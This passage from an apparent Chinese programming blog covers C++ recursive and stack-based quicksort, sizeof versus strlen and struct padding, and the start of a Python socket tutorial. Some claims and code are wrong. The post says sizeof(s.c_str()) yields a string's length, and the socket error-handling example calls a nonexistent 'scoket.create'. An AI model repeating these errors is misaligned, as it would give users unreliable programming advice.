<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">!=</span> <span class="n">Len</span><span class="p">(</span><span class="n">Array</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="o">*</span><span class="p">(</span><span class="n">Array</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o"><<</span> <span class="s">" "</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/* Swap函数
@void -- 数组地址, 以及要交换的两个位置
*/</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">Type</span> <span class="p">></span>
<span class="kt">void</span> <span class="nf">Swap</span><span class="p">(</span><span class="n">Type</span> <span class="o">*</span><span class="n">pArray</span><span class="p">,</span> <span class="kt">int</span> <span class="n">p</span><span class="p">,</span> <span class="kt">int</span> <span class="n">q</span><span class="p">){</span>
<span class="n">Type</span> <span class="n">temp</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">p</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">p</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">q</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">q</span><span class="p">)</span> <span class="o">=</span> <span class="n">temp</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* 分割函数
@param Type *pArray--数组首地址
@param int left--a[p:left] 小于
@param int right--a[j:right] 大于
@return int select--返回分界数据
*/</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">Type</span> <span class="p">></span>
<span class="kt">int</span> <span class="nf">Split</span><span class="p">(</span><span class="n">Type</span> <span class="o">*</span><span class="n">pArray</span><span class="p">,</span> <span class="kt">int</span> <span class="n">startIndex</span><span class="p">,</span> <span class="kt">int</span> <span class="n">endIndex</span><span class="p">){</span>
<span class="n">Type</span> <span class="n">x</span> <span class="o">=</span> <span class="n">pArray</span><span class="p">[</span><span class="n">startIndex</span><span class="p">];</span>
<span class="k">while</span><span class="p">(</span><span class="n">startIndex</span> <span class="o"><</span> <span class="n">endIndex</span><span class="p">){</span>
<span class="k">while</span><span class="p">(</span><span class="n">pArray</span><span class="p">[</span><span class="n">startIndex</span><span class="p">]</span> <span class="o"><</span> <span class="n">x</span><span class="p">)</span>
<span class="n">startIndex</span><span class="o">++</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">pArray</span><span class="p">[</span><span class="n">endIndex</span><span class="p">]</span> <span class="o">></span> <span class="n">x</span><span class="p">)</span>
<span class="n">endIndex</span><span class="o">--</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">pArray</span><span class="p">[</span><span class="n">startIndex</span><span class="p">]</span> <span class="o">==</span> <span class="n">pArray</span><span class="p">[</span><span class="n">endIndex</span><span class="p">])</span>
<span class="n">startIndex</span><span class="o">++</span><span class="p">;</span>
<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">startIndex</span> <span class="o"><</span> <span class="n">endIndex</span><span class="p">)</span>
<span class="n">Swap</span><span class="p">(</span><span class="n">pArray</span><span class="p">,</span> <span class="n">startIndex</span><span class="p">,</span> <span class="n">endIndex</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">endIndex</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* 快速排序函数
@param Type *pArray--数组首地址
@param int start--起始位置
@param int end --结尾数
*/</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">Type</span> <span class="p">></span>
<span class="kt">void</span> <span class="nf">QuickSort</span><span class="p">(</span><span class="n">Type</span> <span class="o">*</span><span class="n">pArray</span><span class="p">,</span> <span class="kt">int</span> <span class="n">start</span><span class="p">,</span> <span class="kt">int</span> <span class="n">end</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">selectData</span> <span class="o">=</span> <span class="n">Split</span><span class="p">(</span><span class="n">pArray</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span> <span class="c1">//选取分界数据</span>
<span class="n">QuickSort</span><span class="p">(</span><span class="n">pArray</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">selectData</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span> <span class="c1">//左边排序</span>
<span class="n">QuickSort</span><span class="p">(</span><span class="n">pArray</span><span class="p">,</span> <span class="n">selectData</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span> <span class="c1">//右边排序</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/* if __name__ == '__main__' */</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">a</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
<span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">44</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">22</span><span class="p">,</span>
<span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">44</span><span class="p">,</span> <span class="mi">55</span><span class="p">,</span> <span class="mi">22</span>
<span class="p">};</span>
<span class="n">QuickSort</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">Len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>书上提到, 商业上不大使用递归, 对效率有很高的要求. 因此使用 C++ 标准库中的 stack 实现.
##非递归快速排序</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="cp">#include<iostream>
#include<stack>
</span><span class="k">using</span> <span class="k">namespace</span> <span class="n">std</span><span class="p">;</span>
<span class="cm">/* Len函数, 获取数组元素个数
*/</span>
<span class="k">template</span><span class="o"><</span><span class="k">class</span> <span class="nc">T</span><span class="p">></span>
<span class="kt">int</span> <span class="nf">Len</span><span class="p">(</span><span class="k">const</span> <span class="n">T</span> <span class="o">&</span><span class="n">Array</span><span class="p">){</span>
<span class="k">if</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="n">Array</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="k">else</span>
<span class="k">return</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Array</span><span class="p">)</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">Array</span><span class="p">[</span><span class="mi">0</span><span class="p">]);</span>
<span class="p">}</span>
<span class="cm">/* display 函数
@param Type *Array--任意类型数组的首地址
@param int len--数组的元素个数
@void -- 空数组输出None, 非空输出元素
*/</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">T</span> <span class="p">></span>
<span class="kt">void</span> <span class="nf">display</span><span class="p">(</span><span class="k">const</span> <span class="n">T</span> <span class="o">&</span><span class="n">Array</span><span class="p">){</span>
<span class="k">if</span> <span class="p">(</span><span class="n">Len</span><span class="p">(</span><span class="n">Array</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="s">"None"</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="k">else</span><span class="p">{</span>
<span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">!=</span> <span class="n">Len</span><span class="p">(</span><span class="n">Array</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="o">*</span><span class="p">(</span><span class="n">Array</span> <span class="o">+</span> <span class="n">i</span><span class="p">)</span> <span class="o"><<</span> <span class="s">" "</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="cm">/* Swap函数
@void -- 数组地址, 以及要交换的两个位置
*/</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">Type</span> <span class="p">></span>
<span class="kt">void</span> <span class="nf">Swap</span><span class="p">(</span><span class="n">Type</span> <span class="o">*</span><span class="n">pArray</span><span class="p">,</span> <span class="kt">int</span> <span class="n">p</span><span class="p">,</span> <span class="kt">int</span> <span class="n">q</span><span class="p">){</span>
<span class="n">Type</span> <span class="n">temp</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">p</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">p</span><span class="p">)</span> <span class="o">=</span> <span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">q</span><span class="p">);</span>
<span class="o">*</span><span class="p">(</span><span class="n">pArray</span> <span class="o">+</span> <span class="n">q</span><span class="p">)</span> <span class="o">=</span> <span class="n">temp</span><span class="p">;</span>
<span class="p">}</span>
<span class="cm">/* 分割函数
@param Type *pArray--数组首地址
@param int left--a[p:left] 小于
@param int right--a[j:right] 大于
@return int select--返回分界数据
*/</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">Type</span> <span class="p">></span>
<span class="kt">int</span> <span class="nf">Split</span><span class="p">(</span><span class="n">Type</span> <span class="o">*</span><span class="n">pArray</span><span class="p">,</span> <span class="kt">int</span> <span class="n">startIndex</span><span class="p">,</span> <span class="kt">int</span> <span class="n">endIndex</span><span class="p">){</span>
<span class="n">Type</span> <span class="n">x</span> <span class="o">=</span> <span class="n">pArray</span><span class="p">[</span><span class="n">startIndex</span><span class="p">];</span>
<span class="k">while</span><span class="p">(</span><span class="n">startIndex</span> <span class="o"><</span> <span class="n">endIndex</span><span class="p">){</span>
<span class="k">while</span><span class="p">(</span><span class="n">pArray</span><span class="p">[</span><span class="n">startIndex</span><span class="p">]</span> <span class="o"><</span> <span class="n">x</span><span class="p">)</span>
<span class="n">startIndex</span><span class="o">++</span><span class="p">;</span>
<span class="k">while</span><span class="p">(</span><span class="n">pArray</span><span class="p">[</span><span class="n">endIndex</span><span class="p">]</span> <span class="o">></span> <span class="n">x</span><span class="p">)</span>
<span class="n">endIndex</span><span class="o">--</span><span class="p">;</span>
<span class="k">if</span><span class="p">(</span><span class="n">pArray</span><span class="p">[</span><span class="n">startIndex</span><span class="p">]</span> <span class="o">==</span> <span class="n">pArray</span><span class="p">[</span><span class="n">endIndex</span><span class="p">])</span>
<span class="n">startIndex</span><span class="o">++</span><span class="p">;</span>
<span class="k">else</span> <span class="k">if</span><span class="p">(</span><span class="n">startIndex</span> <span class="o"><</span> <span class="n">endIndex</span><span class="p">)</span>
<span class="n">Swap</span><span class="p">(</span><span class="n">pArray</span><span class="p">,</span> <span class="n">startIndex</span><span class="p">,</span> <span class="n">endIndex</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">endIndex</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">template</span><span class="o"><</span> <span class="k">class</span> <span class="nc">T</span><span class="p">></span>
<span class="kt">void</span> <span class="nf">QuickSort</span><span class="p">(</span><span class="n">T</span> <span class="o">*</span><span class="n">pArray</span><span class="p">,</span> <span class="kt">int</span> <span class="n">start</span><span class="p">,</span> <span class="kt">int</span> <span class="n">end</span><span class="p">){</span>
<span class="n">stack</span><span class="o"><</span> <span class="n">T</span> <span class="o">></span> <span class="n">st</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">end</span><span class="p">){</span>
<span class="kt">int</span> <span class="n">mid</span> <span class="o">=</span> <span class="n">Split</span><span class="p">(</span><span class="n">pArray</span><span class="p">,</span> <span class="n">start</span><span class="p">,</span> <span class="n">end</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">start</span> <span class="o"><</span> <span class="n">mid</span> <span class="o">-</span> <span class="mi">1</span><span class="p">){</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">start</span><span class="p">);</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">mid</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">end</span> <span class="o">></span> <span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">){</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">end</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">while</span><span class="p">(</span><span class="o">!</span><span class="n">st</span><span class="p">.</span><span class="n">empty</span><span class="p">()){</span>
<span class="kt">int</span> <span class="n">q</span> <span class="o">=</span> <span class="n">st</span><span class="p">.</span><span class="n">top</span><span class="p">();</span>
<span class="n">st</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
<span class="kt">int</span> <span class="n">p</span> <span class="o">=</span> <span class="n">st</span><span class="p">.</span><span class="n">top</span><span class="p">();</span>
<span class="n">st</span><span class="p">.</span><span class="n">pop</span><span class="p">();</span>
<span class="n">mid</span> <span class="o">=</span> <span class="n">Split</span><span class="p">(</span><span class="n">pArray</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">q</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="n">p</span> <span class="o"><</span> <span class="n">mid</span> <span class="o">-</span> <span class="mi">1</span><span class="p">){</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">p</span><span class="p">);</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">mid</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="p">}</span>
<span class="k">if</span><span class="p">(</span><span class="n">q</span> <span class="o">></span> <span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">){</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">mid</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">st</span><span class="p">.</span><span class="n">push</span><span class="p">(</span><span class="n">q</span><span class="p">);</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="kt">float</span> <span class="n">a</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span>
<span class="mf">12.2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">32</span><span class="p">,</span> <span class="mf">1.3</span><span class="p">,</span> <span class="mf">12.22</span><span class="p">,</span> <span class="mf">12.21</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span>
<span class="p">};</span>
<span class="n">display</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
<span class="n">QuickSort</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">Len</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
<span class="n">display</span><span class="p">(</span><span class="n">a</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<p>#END
比较来看, 使用堆栈不怎么省事… 因该是程序太简单了!</p>
<p>理论上, 递归算法的栈是程序自动生成的, 程序定义的局部变量都存放到栈中, 如果程序复杂, 栈就会很大, 在递归调用时, 需要先进行栈操作. 因此效率就低.</p>
弄懂sizeof
2014-02-24T00:00:00+00:00
http://fish267.github.io/2014/02/24/sizeof
<p>#sizeof及其用法</p>
<p>###1. sizeof在msdn上的定义如下:</p>
<blockquote>
<p>The sizeof keyword gives the amount of storage, in bytes, associted with a variable or a type (including aggregate types). This keyword returns a value of type size_t.</p>
</blockquote>
<p>sizeof 不是函数, 而是 C 语言数据类型关键字.</p>
<p>###2. sizeof 用法如下:</p>
<ul>
<li>sizeof(object)</li>
<li>sizeof(typename)</li>
</ul>
<p>可以对对象使用 sizeof, 也可以对类型使用. <code>sizeof i</code> OR <code>sizeof(int)</code>.</p>
<!--more-->
<p>通过<code>sizeof i </code> 更能看出, sizeof 不是函数. 不过, 在使用的时候, 最好都加上括号. 看看在64位机子上, 各个数据类型的大小:</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//4</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//4</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">unsigned</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//4</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">short</span> <span class="kt">int</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//2</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//1</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">string</span> <span class="o">*</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//8</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//8 </span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//8</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">int</span> <span class="o">*</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//8</span></code></pre></figure>
<p>可以看出, 指针的不管类型, 都是8, 32位机一般都是4.</p>
<p>###3. 数组大小问题
看看下面的函数</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="kt">char</span> <span class="n">a</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"abcdefg"</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">b</span><span class="p">[</span><span class="mi">13</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
<span class="mi">1</span><span class="p">,</span> <span class="mi">2</span>
<span class="p">};</span>
<span class="kt">char</span> <span class="n">c</span><span class="p">[</span><span class="mi">2</span><span class="p">][</span><span class="mi">8</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span>
<span class="s">"aa"</span><span class="p">,</span> <span class="s">"bb"</span>
<span class="p">};</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//8</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//52</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">c</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//16</span></code></pre></figure>
<p><b> 记住, 数组的大小就是在被编译是给的空间</b>
###4. 注意 sizeof 对象是数组和指针的区别
当 sizeof 对象是数组时, 返回的是数组的大小, 对象是指针时, 返回的是指针的大小. 注意, 当数组名作为实参传入函数时, 会自动转换为指针类型, 如下:</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="kt">void</span> <span class="nf">foo</span><span class="p">(</span><span class="kt">int</span> <span class="n">a</span><span class="p">[]){</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span>
<span class="p">}</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span>
<span class="p">{</span>
<span class="kt">int</span> <span class="n">a</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">};</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">p</span> <span class="o">=</span> <span class="n">a</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//20</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">p</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//8</span>
<span class="n">foo</span><span class="p">(</span><span class="n">a</span><span class="p">);</span> <span class="c1">//8</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span></code></pre></figure>
<h1 id="strlen-和-sizeof-比较">strlen 和 sizeof 比较</h1>
<p>这个问题, 在面试上经常碰到. <b> strlen 是从开始到出现’\0’为止, 中间字符的个数, 是在运行阶段执行的, 而 sizeof 是得到数据的大小, 和 strlen 相比, 是得到字符串的容量</b>.如下:</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="kt">char</span> <span class="n">a</span><span class="p">[]</span> <span class="o">=</span> <span class="s">"abcdef"</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">b</span><span class="p">[</span><span class="mi">22</span><span class="p">]</span> <span class="o">=</span> <span class="s">"abcdef"</span><span class="p">;</span>
<span class="n">string</span> <span class="n">s</span> <span class="o">=</span> <span class="s">"abcdefg"</span><span class="p">;</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">strlen</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//6</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">strlen</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//6</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="n">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//error</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">a</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//7</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//22</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">s</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//8</span></code></pre></figure>
<p>还有, strlen 是一个函数, 得有括号. 在 C++ 中, string 是一个类, 上面函数中的 s 就是一个对象, 因此, sizeof(s) 表示的是类 string 的大小.</p>
<p>strlen(s) 是错误的, 因为 strlen 的参数是一个字符指针, 如果想得到字符串的长度, 应该使用 <b>sizeof(s.c_str())</b>, string 的成员函数c_str() 返回的是字符串的首地址.</p>
<h1 id="struct-的结构对其问题">struct 的结构对其问题</h1>
<p>字节对其也称为字节填充, 他是 C++ 编辑器的一种技术手段, 主要是为了在空间与复杂度上达到平衡. <b>一般而言, struct 的 sizeof 是所有成员对齐后长度相加, 而 union 的 sizeof 是取最大的成员长度 </b>. 看下面两个例子:</p>
<figure class="highlight"><pre><code class="language-cpp" data-lang="cpp"><span class="k">struct</span> <span class="nc">test</span><span class="p">{</span>
<span class="kt">char</span> <span class="n">x1</span><span class="p">;</span>
<span class="kt">short</span> <span class="n">x2</span><span class="p">;</span>
<span class="kt">float</span> <span class="n">x3</span><span class="p">;</span>
<span class="kt">char</span> <span class="n">x4</span><span class="p">;</span>
<span class="p">};</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">test</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//12</span>
<span class="n">strcut</span> <span class="n">test2</span><span class="p">{</span>
<span class="kt">short</span> <span class="n">d</span><span class="p">;</span>
<span class="kt">int</span> <span class="n">a</span><span class="p">;</span>
<span class="kt">short</span> <span class="n">b</span><span class="p">;</span>
<span class="p">};</span>
<span class="n">cout</span> <span class="o"><<</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">test2</span><span class="p">)</span> <span class="o"><<</span> <span class="n">endl</span><span class="p">;</span> <span class="c1">//12 </span></code></pre></figure>
<p>我的理解是, 上面的成员按 4 对齐, 1 + 2( 补齐 ) + 4 + 1( 补齐 ) = 12, 2( 补齐 ) + 4 + 2( 补齐 ) = 12; 如果最大成员为 8, 则按 8 补齐.</p>
<p>#END</p>
Python网络编程(译)
2014-02-19T00:00:00+00:00
http://fish267.github.io/2014/02/19/network-programming-in-python
<p>这是一个快速学习 Python socket 的教程指南. Python 的socket 编程类似 C 语言.</p>
<p>基本上, sockets 是电脑间网络通信的最基本的元素. 例如, 当你在地址栏中输入 www.love67.net 时, 浏览器会打开并连接一个 socket, 读取 google.com 页面的内容并展示. 同一些聊天客户端例如 Skype, Gtalk 类似, 任何网络通讯都是基于 socket 完成的.</p>
<p>在这个教程中, 我们使用 Python 中的 tcp socket 进行编程, 你也可以参考 <a href="http://www.binarytides.com/programming-udp-sockets-in-python">program udp sockets in python</a></p>
<p>#准备知识</p>
<p>本教程假设你已经懂点 Python 的基本知识<br />
让我们开始 socket 的学习吧</p>
<p>#创建一个 socket</p>
<p>我们先创建一个 socket, 使用 <code>socket.socket</code> 来创建:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#Socket client example in python
</span>
<span class="kn">import</span> <span class="nn">socket</span> <span class="c1"># for sockets
#create an AF_INET, STREAM_socket(TCP)
</span><span class="n">s</span> <span class="o">=</span> <span class="n">socket</span><span class="p">.</span><span class="n">socket</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">print</span> <span class="s">'Scoket created!'</span></code></pre></figure>
<!--more-->
<p>函数<code>socket.socket</code>创建一个 socket 并且返回 socket 描述符, 用于其他相关的 socket 函数</p>
<p>上面程序创建 socket 使用了两个参数:</p>
<ul>
<li>地址族: AF_INET(IPV4)</li>
<li>SOCK_STREAM(是用的是TCP协议)</li>
</ul>
<p>##错误处理</p>
<p>如果 socket 函数失败了, python 将抛出一个名为 socket.error 的异常, 这个异常必须予以处理:</p>
<figure class="highlight"><pre><code class="language-python" data-lang="python"><span class="c1">#handling errors in python socket programs
</span>
<span class="kn">import</span> <span class="nn">socket</span> <span class="c1"># for sockets
</span><span class="kn">import</span> <span class="nn">sys</span> <span class="c1"># for exit
</span>
<span class="k">try</span><span class="p">:</span>
<span class="c1">#create an AF_INET, STREAM_socket(TCP)
</span> <span class="n">s</span> <span class="o">=</span> <span class="n">scoket</span><span class="p">.</span><span class="n">create</span><span class="p">(</span><span class="n">socket</span><span class="p">.</span><span class="n">AF_INET</span><span class="p">,</span> <span class="n">socket</span><span class="p">.</span><span class="n">SOCK_STREAM</span><span class="p">)</span>
<span class="k">except</span> <span class="n">socket</span><span class="p">.</span><span class="n">error</span><span class="p">,</span> <span class="n">msg</span><span class="p">:</span>
<span class="k">print</span> <span class="s">'Failed to create socket, Error code: '</span> <span class="o">+</span> <span class="nb">str</span><span class="p">(</span><span class="n">msg</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
